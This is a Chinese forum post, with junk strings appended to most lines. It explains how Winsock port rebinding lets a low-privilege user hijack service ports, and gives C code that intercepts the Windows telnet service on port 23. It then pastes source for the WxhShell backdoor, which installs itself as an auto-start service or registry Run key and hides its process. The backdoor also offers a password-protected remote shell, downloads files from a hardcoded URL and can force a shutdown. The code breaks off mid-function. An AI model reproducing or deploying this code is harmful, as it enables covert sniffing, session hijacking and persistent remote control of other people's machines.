社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 12352阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: /pWKV>tjj  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,0@QBr5P  
6f^IAa|  
  saddr.sin_family = AF_INET; M%bD7naBq  
{ceY:49  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); mq+x=  
{n{-5Y  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); TR9dpt+T  
-VvN1G6.x?  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 !>:]k?$b  
g*;z V i  
  这意味着什么?意味着可以进行如下的攻击: s]pNT1,  
LaYd7Oyf]  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ^|(VI0KO  
ZKJhmk  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) u =lsH  
YJ}9VY<}1K  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 t8ORfO+  
Prrz>  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  0.&-1pw  
;!B,P-Z"g  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 bb}Fu/S  
_2WW0  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 \;1nEjIA  
m U= 3w  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 9h"3u;/,  
?(Xy 2%v  
  #include HHL7z,%f  
  #include SNC)cq+{  
  #include Jo\karpb  
  #include    '>GPk5Nq77  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Q[9W{l+  
  int main() _~ 3r*j  
  { RBpv40n0  
  WORD wVersionRequested; zFr#j~L"  
  DWORD ret; x$z>.4  
  WSADATA wsaData; EKUiX#p: M  
  BOOL val; 9?uU%9r5P  
  SOCKADDR_IN saddr; y;f nC5Q  
  SOCKADDR_IN scaddr; r` sG!  
  int err; M63t4; 0A  
  SOCKET s; )O8w'4P5  
  SOCKET sc; -0+h&CO  
  int caddsize;  63VgQ  
  HANDLE mt; ^sF(IV[>  
  DWORD tid;   jEm =A8q  
  wVersionRequested = MAKEWORD( 2, 2 ); eC@b-q   
  err = WSAStartup( wVersionRequested, &wsaData ); xmejoOF  
  if ( err != 0 ) { CUx-k|\  
  printf("error!WSAStartup failed!\n"); .ZupsS9l  
  return -1; Hq|{Nt%Q  
  } }?*$AVs2q  
  saddr.sin_family = AF_INET; L0*f(H  
   ++BQ==@  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 2p~G][  
@2sr/gX^  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 71Y3.1+  
  saddr.sin_port = htons(23); _ Gkb[H&RZ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) s14 ot80)  
  { SmV}Wf  
  printf("error!socket failed!\n"); |`d-;pk!%  
  return -1; oGL2uQXX  
  } Ah;`0Hz;  
  val = TRUE; *JO%.QNg  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 \q"vC1,9  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 0U! _o2]  
  { gR wRhA/  
  printf("error!setsockopt failed!\n"); =(Y+u  
  return -1; ,uZz?7mO  
  } EJ(z]M`f  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; d!y_N&z|(  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 G1:"Gxja  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ~JB4s%&  
pwl7aC+6d  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) awSi0*d~  
  { Q 822 #  
  ret=GetLastError(); j|VX6U   
  printf("error!bind failed!\n"); ue -a/a  
  return -1; ,D'bIk  
  } <W/YC 2b  
  listen(s,2); nMOXy\&mI  
  while(1) kQ|phtbI  
  { Bpv"qU7  
  caddsize = sizeof(scaddr); Is!+ `[ma  
  //接受连接请求 5KW n>n  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Y r8gKhv W  
  if(sc!=INVALID_SOCKET) e'~<uN>  
  { dZ Ab' :  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Efu/v<  
  if(mt==NULL) +XAM2uN5_.  
  { n M `pnR_  
  printf("Thread Creat Failed!\n"); 72dd%  
  break; uf`/-jY  
  } JQSczE3  
  } zS `>65}e  
  CloseHandle(mt); dl+c+w"  
  } uC?/p1  
  closesocket(s); A6#v6iT  
  WSACleanup(); -uB*E1|Q  
  return 0; Rc}#4pM8  
  }   tw<}7l_>Au  
  DWORD WINAPI ClientThread(LPVOID lpParam) WB"90!  
  { D\  P-|}  
  SOCKET ss = (SOCKET)lpParam; 2K2_-  
  SOCKET sc; J:\O .F#Fi  
  unsigned char buf[4096]; }LX.gm  
  SOCKADDR_IN saddr; FwDEYG  
  long num; ]"i^ VVw  
  DWORD val; ($[@'?Z1  
  DWORD ret; `'ak/%Krh  
  //如果是隐藏端口应用的话,可以在此处加一些判断 /re0"!0y  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   2l+t-  
  saddr.sin_family = AF_INET; WU6F-{M"?  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); T>m|C}yy  
  saddr.sin_port = htons(23); 1fV\84m^  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) xgWVxX^)  
  { D}?JX5.  
  printf("error!socket failed!\n"); f4^\iZ{`G  
  return -1; BsYJIKfW  
  } s+a#x(7{  
  val = 100; ,772$7x  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %D[6;PT  
  { w=ZK=@  
  ret = GetLastError(); +\Je B/F  
  return -1; j`-9.  
  } 0fx.n  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) kQ.3J.Q5  
  { 1P/4,D@  
  ret = GetLastError(); +P=I4-?eX  
  return -1; qhNYQ/uS  
  } /z4n?&tM  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 3EyVoS6D  
  { m"vWu0/#  
  printf("error!socket connect failed!\n"); BSg 3  
  closesocket(sc); :BUr8%l  
  closesocket(ss); ExSy/^4f  
  return -1; _@sSVh$+  
  } 27UnH: =  
  while(1) @*JS[w$1  
  { 7/FF}d  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 :qvaI,  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 +  $/mh  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 zl$z>z)  
  num = recv(ss,buf,4096,0); 0y=lf+xA*  
  if(num>0) S oB6F9  
  send(sc,buf,num,0); 34qfP{9!N  
  else if(num==0) x-SYfvYY  
  break; Xl/2-'4  
  num = recv(sc,buf,4096,0); 19i [DR  
  if(num>0) %F]:nk`  
  send(ss,buf,num,0); g #[,4o;  
  else if(num==0) 0vcFX)]yW  
  break; ^j7]> I  
  } "= *   
  closesocket(ss); nPjN\Es6  
  closesocket(sc); FMAt6HfU  
  return 0 ; =T|m#*{.L  
  } '];=1loD  
EV N:3  
01o,9_|FL  
========================================================== oY7 eVuz  
LZA pz}  
下边附上一个代码,,WXhSHELL \yY2 mr  
@%[ VegT  
========================================================== _E xd:  
i}Cy q  
#include "stdafx.h" ,%,.c^-  
\rmge4`4  
#include <stdio.h> A]OVmw  
#include <string.h> d ]Mjr2h  
#include <windows.h> Z_[jah  
#include <winsock2.h> s%t =*+L\  
#include <winsvc.h> ]nQ(|$rW  
#include <urlmon.h> 3H@29TrJ+  
TAZ+2S##7  
#pragma comment (lib, "Ws2_32.lib") K_LwYO3  
#pragma comment (lib, "urlmon.lib") ;.b^A  
uzWz+atH  
#define MAX_USER   100 // 最大客户端连接数 5gY9D!;:0D  
#define BUF_SOCK   200 // sock buffer ah0  
#define KEY_BUFF   255 // 输入 buffer lcEin*Oc  
= j S  
#define REBOOT     0   // 重启 k^r-~q+NV#  
#define SHUTDOWN   1   // 关机 73kL>u  
B;xGTl@8  
#define DEF_PORT   5000 // 监听端口 "3:TrM$|A  
2~2j?\AEd.  
#define REG_LEN     16   // 注册表键长度 *p7_rY  
#define SVC_LEN     80   // NT服务名长度 j-wz7B  
6*=7ifS  
// 从dll定义API %& b70]S(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2Jc9}|,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?u_O(eg  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #Vh$u%q3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~F=,)GE  
Z|qUVD5Ic  
// wxhshell配置信息 4+15`  
struct WSCFG { UqZ#mKi  
  int ws_port;         // 监听端口 MuQ'L=iJ  
  char ws_passstr[REG_LEN]; // 口令 Yq0=4#_  
  int ws_autoins;       // 安装标记, 1=yes 0=no K44j-Ypb  
  char ws_regname[REG_LEN]; // 注册表键名 9!|+GIjn  
  char ws_svcname[REG_LEN]; // 服务名 @m Id{w z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 MyJG2C#R  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6pY<,7t0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Y'v;!11#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no y]TNjLpo$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7H5t!yk|9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 F otHITw[  
_f@, >l  
}; D^e7%FX  
:T #"bY  
// default Wxhshell configuration ;#Pc^Yzc1  
struct WSCFG wscfg={DEF_PORT, DB;Nr3x  
    "xuhuanlingzhe", 61{IXx_  
    1, F_C_K"[s  
    "Wxhshell", *;y n_zg  
    "Wxhshell", [*AWCV  
            "WxhShell Service", /yS/*ET8  
    "Wrsky Windows CmdShell Service", !E|k#c9  
    "Please Input Your Password: ", Wg ?P"  
  1, iHL`r1I!  
  "http://www.wrsky.com/wxhshell.exe", t`y*oRy  
  "Wxhshell.exe" [W2GLd]  
    }; JypXQC}~  
j: /cJt  
// 消息定义模块 Y;6%pm$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7O.{g  
char *msg_ws_prompt="\n\r? for help\n\r#>"; dw]wQ\4B  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; l9X\\uG&  
char *msg_ws_ext="\n\rExit."; T&PLvyBL  
char *msg_ws_end="\n\rQuit."; |8YP8o  
char *msg_ws_boot="\n\rReboot..."; {r2fIj~V  
char *msg_ws_poff="\n\rShutdown..."; KL\]1YX  
char *msg_ws_down="\n\rSave to "; a#G]5T Z  
Ps_q\R  
char *msg_ws_err="\n\rErr!"; S|?Ht61k  
char *msg_ws_ok="\n\rOK!"; ,%%}d9  
C ^hCT  
char ExeFile[MAX_PATH]; I~.d/!>Z  
int nUser = 0; b&1-tYV  
HANDLE handles[MAX_USER]; <m3or  
int OsIsNt; /)E'%/"A  
# \)tz z  
SERVICE_STATUS       serviceStatus; yL>wCD,L  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; u  t4+c0  
,Y3wXmG  
// 函数声明 ]~A<Q{  
int Install(void); ZT'Sw%U:  
int Uninstall(void); 2?bE2^6  
int DownloadFile(char *sURL, SOCKET wsh); +|=5zWI /  
int Boot(int flag); 7yK1Q_XY>  
void HideProc(void); wu2C!gyBo  
int GetOsVer(void); `Ufv,_n  
int Wxhshell(SOCKET wsl); 2>bV+[@B  
void TalkWithClient(void *cs); /P3s.-sL  
int CmdShell(SOCKET sock); Pqm)OZE?  
int StartFromService(void); &`J?`l X  
int StartWxhshell(LPSTR lpCmdLine); p>@S61 & [  
c&JYbq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); U DC>iHt  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); A, )G$yT\  
] 336FgT  
// 数据结构和表定义 "Nn+Zw43  
SERVICE_TABLE_ENTRY DispatchTable[] = )QvuoaJQ  
{ G]- wN7G  
{wscfg.ws_svcname, NTServiceMain}, MlM2(/ok  
{NULL, NULL} ^sjL@.'m$N  
}; j2/3NF5&  
VF<C#I  
// 自我安装 6(X5n5C  
int Install(void) >.-$?2  
{ t9Nu4yl  
  char svExeFile[MAX_PATH]; m*^|9*dIC  
  HKEY key; 4JD 8w3u/  
  strcpy(svExeFile,ExeFile); GqrOj++>  
&PAgab2$  
// 如果是win9x系统,修改注册表设为自启动 %VCfcM}5I  
if(!OsIsNt) { U5z}i^8a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {)vue0 vP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q$(0Nx<  
  RegCloseKey(key); n*oa J<o%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A' \jaB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F|DKp[<]8  
  RegCloseKey(key); ]U,K]y[Bj  
  return 0; U|%y `PZ  
    } h1 D#,  
  } (BA2   
} gAY%VFBP0  
else { dTV:/QM  
O(( kv|X4  
// 如果是NT以上系统,安装为系统服务 `=0J:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Yv`8{_8L  
if (schSCManager!=0) $qx&\@O  
{ Sl{nS1q  
  SC_HANDLE schService = CreateService R;XR?59:.  
  ( dLSnhZ  
  schSCManager, ffQ%GV_  
  wscfg.ws_svcname, BU="BB/[  
  wscfg.ws_svcdisp, epH48)2  
  SERVICE_ALL_ACCESS, .2b) rKo~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^!*?vHx:  
  SERVICE_AUTO_START, Z-{!Z;T)z  
  SERVICE_ERROR_NORMAL, (&6C,O~n^.  
  svExeFile, elgCPX&:W  
  NULL, Y,bw:vX  
  NULL, #dLp<l)  
  NULL, x\Y%/C[Kc  
  NULL, r $du-U  
  NULL #c0 dZ  
  ); l}DCK  
  if (schService!=0) IKK<D'6  
  { K+` Vn  
  CloseServiceHandle(schService); :);]E-ch  
  CloseServiceHandle(schSCManager); NS l$5E  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5g- apod  
  strcat(svExeFile,wscfg.ws_svcname); vl@t4\@3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1 ]@}+H  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); w jmZ`UMz  
  RegCloseKey(key); bw7!MAXd  
  return 0; LC/w".oq?  
    } ^/W 7Xd(s  
  } tH:K6^oR  
  CloseServiceHandle(schSCManager); }eX_p6bBw  
} 6[9E^{(z  
} 4M8AYh2)  
]kmOX  
return 1; I`%=&l[v_5  
} c4LBlLv4  
e^@/ Bm+B  
// 自我卸载 W RAW%?$  
int Uninstall(void) (%>Sln5hq  
{ NEO~|B*oDU  
  HKEY key; `~(C\+gUp  
S iw9_c  
if(!OsIsNt) { r2T?LO0N{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LoG@(g&)  
  RegDeleteValue(key,wscfg.ws_regname); Yi[dS`,d  
  RegCloseKey(key); t.pg;#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Uc0AsUu}?  
  RegDeleteValue(key,wscfg.ws_regname); Q:~w;I  
  RegCloseKey(key); @2_s;!K  
  return 0; +k"dN^K]D  
  } $ Yz &x%Lb  
} HHZ!mYr  
} kXC.rgal  
else { bE>3D#V<  
ABV\:u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,l<-*yMD  
if (schSCManager!=0) z1+rz%  
{ 1#qCD["8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); LM'` U-/e$  
  if (schService!=0) +29;T0>a  
  { T , =ga  
  if(DeleteService(schService)!=0) { P&aH6*p1  
  CloseServiceHandle(schService); >*}qGk  
  CloseServiceHandle(schSCManager); 3i(k6)H$4  
  return 0; SEchF"KJQF  
  } BHmA*3?  
  CloseServiceHandle(schService); W7A'5  
  } 4Sg!NPuu7&  
  CloseServiceHandle(schSCManager); cM4?G gn  
} \|>eG u  
} ^qbX9.\  
+$>ut r  
return 1; ):78GVp  
} 5 J|;RtcR  
gSj-~k P  
// 从指定url下载文件 sW2LNE  
int DownloadFile(char *sURL, SOCKET wsh) `^J~^Z7Y-  
{ %Y Rg1UKY  
  HRESULT hr; * Kzs(O  
char seps[]= "/"; @@|E1'c7  
char *token; M]` Q4\  
char *file; G P1>h.J  
char myURL[MAX_PATH]; a`pY&xq::  
char myFILE[MAX_PATH]; ]bnxOk  
Y)u} +Yg  
strcpy(myURL,sURL); SbnV U[  
  token=strtok(myURL,seps); 3}:pD]`h  
  while(token!=NULL) e3>Re![_.  
  { -N\{QX1Yd  
    file=token; jPU# {Wo#  
  token=strtok(NULL,seps); L7Oytdc<  
  } /#G"'U/  
{t/!a0\HS  
GetCurrentDirectory(MAX_PATH,myFILE); 3`9*Hoy0c  
strcat(myFILE, "\\"); PYHm6'5BtB  
strcat(myFILE, file); x#8=drh.:C  
  send(wsh,myFILE,strlen(myFILE),0); <$yer)_J!k  
send(wsh,"...",3,0); ,IJNuu\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ic=V:  
  if(hr==S_OK) H+5]3>O-$  
return 0; aY:(0en]&  
else f,L  
return 1; pn $50c  
J#x91Jh  
} 'c$9[|x  
, ;d9uG2  
// 系统电源模块 #8z\i2I  
int Boot(int flag) d}o1 j  
{ `f'q/  
  HANDLE hToken; 78QFaN$  
  TOKEN_PRIVILEGES tkp; ?3Jh{F_+  
2mlE;.}8  
  if(OsIsNt) { $GO'L2oLwn  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^p7(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =hs@W)-O  
    tkp.PrivilegeCount = 1; xY'g7<})$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,xh9,EpBk  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &vF"I'V  
if(flag==REBOOT) { >(*jbL]p  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Fp]8f&l8  
  return 0; -.*\J|S@g  
} tJu<#h X  
else { sMS`-,37u  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "G,*Z0V5  
  return 0; %@&)t?/=  
} &V:dcJ^Q  
  } ]czy8n$+  
  else { )[K3p{4  
if(flag==REBOOT) { ibuI/VDF  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |"-,C}O  
  return 0; Y@4vQm+  
} XP`kf]9  
else { v4zd x)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5,c`  
  return 0; u9gr@06  
} *"CvB{XF&Z  
} lhI;K4#  
IcoL/7k3  
return 1; Td  F<  
} %xfy\of+Nk  
j&Aq^aI  
// win9x进程隐藏模块 `/AzX *`  
void HideProc(void) 72,iRH  
{ y%,BDyK  
<M7* N .  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  j%}Jl  
  if ( hKernel != NULL ) xKr,XZu  
  { |d3agfS[n  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); * Z:PB%d5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "XY?v8*c  
    FreeLibrary(hKernel); +n,BD C;  
  } f lB,_  
\+u qP:Ty  
return; biG9?  
} 84[^#ke  
r9Z/y*q  
// 获取操作系统版本 u7=[~l&L  
int GetOsVer(void) 'JMa2/7CG  
{ $a A.d^  
  OSVERSIONINFO winfo; K(d!0S  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \$C 4H  
  GetVersionEx(&winfo); SHk[X ]Uo  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) h0 Sf=[>z  
  return 1; W =zG  
  else 'm cJ/9)v  
  return 0; E%^28}dN  
} yx2.7h3  
}SV3PdE  
// 客户端句柄模块 v/czW\z  
int Wxhshell(SOCKET wsl) fI1;&{f   
{ Du>HF;Fv  
  SOCKET wsh; 3I5WDuq  
  struct sockaddr_in client; QRlzGRueR&  
  DWORD myID; Ng"vBycy  
i-?zwVmn  
  while(nUser<MAX_USER) @;6}xO2  
{ +I<Sq_-  
  int nSize=sizeof(client); faq K D:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %jxuH+L   
  if(wsh==INVALID_SOCKET) return 1; >D/~|`=p  
#& wgsGV8C  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?Qig$  
if(handles[nUser]==0) )!d1<p3  
  closesocket(wsh); s.sy7%{  
else 17cW8\  
  nUser++; 'u[o`31.  
  } sPg6eAd~?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); k^pu1g=6I  
>p*HXr|o$  
  return 0; 42CMRGv  
} uC(S`Q[Bg  
N >!xedw=  
// 关闭 socket gJ.6m&+  
void CloseIt(SOCKET wsh) h`]/3Ma*:  
{ &XRFX 5gP  
closesocket(wsh); @6q$Zg/  
nUser--; v$G*TR<2  
ExitThread(0); XQOprIJ U  
} SSLs hY~d  
^qx\e$R  
// 客户端请求句柄 a{*'pY(R0$  
void TalkWithClient(void *cs) Z5Ihc%J^  
{  _)E8XyzF  
qm=F6*@}  
  SOCKET wsh=(SOCKET)cs; 0xUj#)  
  char pwd[SVC_LEN]; t4@g;U?o  
  char cmd[KEY_BUFF]; Q) BoWd  
char chr[1]; o'7ju~0L  
int i,j; ;CMC`h9,  
23$hwr&G\  
  while (nUser < MAX_USER) { |u"R(7N*  
0juIkN#  
if(wscfg.ws_passstr) { )m8>w6"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rp#*uV9;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X&s\_jQ  
  //ZeroMemory(pwd,KEY_BUFF); R0mT/h2  
      i=0; '1'1T5x~  
  while(i<SVC_LEN) { 9! HMQ  
.eNwC.8i  
  // 设置超时 s66XdM  
  fd_set FdRead; f_h"gZWV  
  struct timeval TimeOut; )75yv<L2S,  
  FD_ZERO(&FdRead); R%_H\-wo  
  FD_SET(wsh,&FdRead); &NjZD4m`=  
  TimeOut.tv_sec=8; b*F~%K^i$  
  TimeOut.tv_usec=0; ~|{)h^]@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Vfm #UvA  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Jf<yTAm  
q>(u>z!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oHXW])[  
  pwd=chr[0]; UUf1T@-  
  if(chr[0]==0xd || chr[0]==0xa) { aE+$&_>ef  
  pwd=0; .cS,T<$  
  break; 0aTbzOn&  
  } G\N"rG=  
  i++; 7]xz8t  
    } qm8n7Z/  
C.)&FW2F_  
  // 如果是非法用户,关闭 socket Bb [e[,ah  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); gDNTIOV  
} _K}_h\e.  
5m USh3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^xw [d}0 S  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e1^{  
Gx_`|I{P  
while(1) { x";.gjI |g  
k\&IFSp  
  ZeroMemory(cmd,KEY_BUFF); <<On*#80w  
0S:!Gv +  
      // 自动支持客户端 telnet标准   Ya&\ly /i  
  j=0; <6b\i5j  
  while(j<KEY_BUFF) { V@n(v\F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <fsn2[V:B%  
  cmd[j]=chr[0]; iC|6roO!jk  
  if(chr[0]==0xa || chr[0]==0xd) { QjjJtKz  
  cmd[j]=0; y~c4:*L3  
  break; >)J47j7{c  
  } h}`&]2|]  
  j++; Pv %vx U  
    } KT;C RO>  
2@m(XT (  
  // 下载文件 v8[ek@  
  if(strstr(cmd,"http://")) { b|ksMB>)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <aSLm=  
  if(DownloadFile(cmd,wsh)) _h=< _Z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); AV[PQI  
  else JIbzh?$aD  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XJlDiBs9=Q  
  } b8{h[YJL2  
  else { b!5tFX;J  
OwiWnS<  
    switch(cmd[0]) { gvc' $9%  
  G<u.+V  
  // 帮助 *VC4s`<  
  case '?': { Hu9-<upc&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  sx(l  
    break; z^!A/a[[!  
  } j&[3Be'pQ  
  // 安装 J'&B:PZObB  
  case 'i': { !/Bw,y ri<  
    if(Install()) )-9w3W1r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mam5 G!$  
    else *Nf4bH%MN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4&]To@>  
    break; )>/j&>%  
    } ^tg6JB;s  
  // 卸载 !: EW21m  
  case 'r': { Qk~0a?#y5  
    if(Uninstall()) $-fjrQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0 bPJEEd  
    else {F(-s"1;xO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $O~F>.*  
    break; K+ 7yUF8XP  
    } ,LW(mdIe(  
  // 显示 wxhshell 所在路径 ))CXjwLj;  
  case 'p': { Ic{'H2~4,  
    char svExeFile[MAX_PATH]; B=q)}aWc  
    strcpy(svExeFile,"\n\r"); Jp.3KA>  
      strcat(svExeFile,ExeFile); >xU72l#5  
        send(wsh,svExeFile,strlen(svExeFile),0); lN)Y  
    break; gB{]yA"('  
    } ^Z-. [Y  
  // 重启 TM/|K|_  
  case 'b': { iB}LnC:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); P$(WdVG  
    if(Boot(REBOOT)) QSn;a 4f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [TbG55  
    else { zqvRkMWcM  
    closesocket(wsh); M\y~0uZ  
    ExitThread(0); HoIKx_  
    } s;-78ejj7  
